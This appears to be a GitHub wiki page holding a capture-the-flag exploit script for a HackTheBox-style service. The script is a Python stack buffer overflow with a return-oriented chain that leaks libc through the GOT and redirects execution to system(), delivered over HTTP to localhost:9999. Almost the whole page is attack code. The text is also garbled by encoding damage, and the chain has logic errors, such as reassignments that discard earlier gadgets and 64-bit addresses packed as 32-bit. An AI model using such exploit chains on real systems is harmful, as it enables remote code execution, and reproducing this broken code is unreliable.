Smashitup - adydawkins/htb-rabbit GitHub Wiki
#!/usr/bin/python
import os, sys, socket
import struct
import requests
#cmd = sys.argv1+"\0"
cmd = โlsโ
#payload for Option 1: GET request, needs some filler or err โ โAโ * 4 to be taken off buffer
payload = rโhttp://localhost:9999/\AAAAโ
#Payload for Option 2: CURL
#payload = โโ
#filler โ fill buffer with Aโs , thought this would be 536 โ 4, but turns out to be 535
payload += โAโ * (535 โ 4)
#overwrite RBX โ offset 536
payload += โBโ * 8
#overwrite RBP โ offset 544
payload += โCโ * 8
#fill before start of RSP โ offset 568
payload += โDโ * 16
#write stdin to .dynamic using read@plt (0000000000400cf0 <read@plt>:)
someother = struct.pack(โ<Iโ, 0ร000400cf0) #read() call loc
someother += struct.pack(โ<Iโ, 0ร000401787) #PPPR
someother += struct.pack(โ<Iโ, 0) #stdin
someother += struct.pack(โ<Iโ, 0ร000602e28) #.dynamic addr
someother += struct.pack(โ<Iโ, len(cmd)) #len of cmd
#leak address of read() in randomised libc
someother += struct.pack(โ<Iโ, 0ร400c50) #write() call loc
someother += struct.pack(โ<Iโ, 0ร000401787) #PPPR
someother += struct.pack(โ<Iโ, 1) #stdout
someother += struct.pack(โ<Iโ, 0ร000603088) #read() in GOT
someother += struct.pack(โ<Iโ, 8) #len
#call read@plt to overwrite the ptr stored in GOT
someother = struct.pack(โ<Iโ, 0ร000400cf0) #read() call loc
someother += struct.pack(โ<Iโ, 0ร000401787) #PPPR
someother += struct.pack(โ<Iโ, 0) #stdin
someother += struct.pack(โ<Iโ, 0ร000603088) #read() in GOT
someother += struct.pack(โ<Iโ, 8) #len
#call read@plt with address of system() in libc
someother = struct.pack(โ<Iโ, 0ร000400cf0) #read() call loc
someother += โFFFFFFFFโ # bogus
someother += struct.pack(โ<Iโ, 0ร000602e28) #.dynamic addr system()
#padding โ continue filler, writing into RSP
#payload += โEโ * 135
payload = payload + someother
payload += โEโ * (135 โ len(someother))
- Payload delivery Option1: requests.get #
r = requests.get(payload)
print(r.status_code)
print(len(payload))
printยฎ
- Payload delivery Option2: system cmd curl #
#print(โSending payload of total length {}โ.format(len(payload)))
#system(โ/usr/bin/curl -g localhost:9999/\โ" +payload + โ\โ")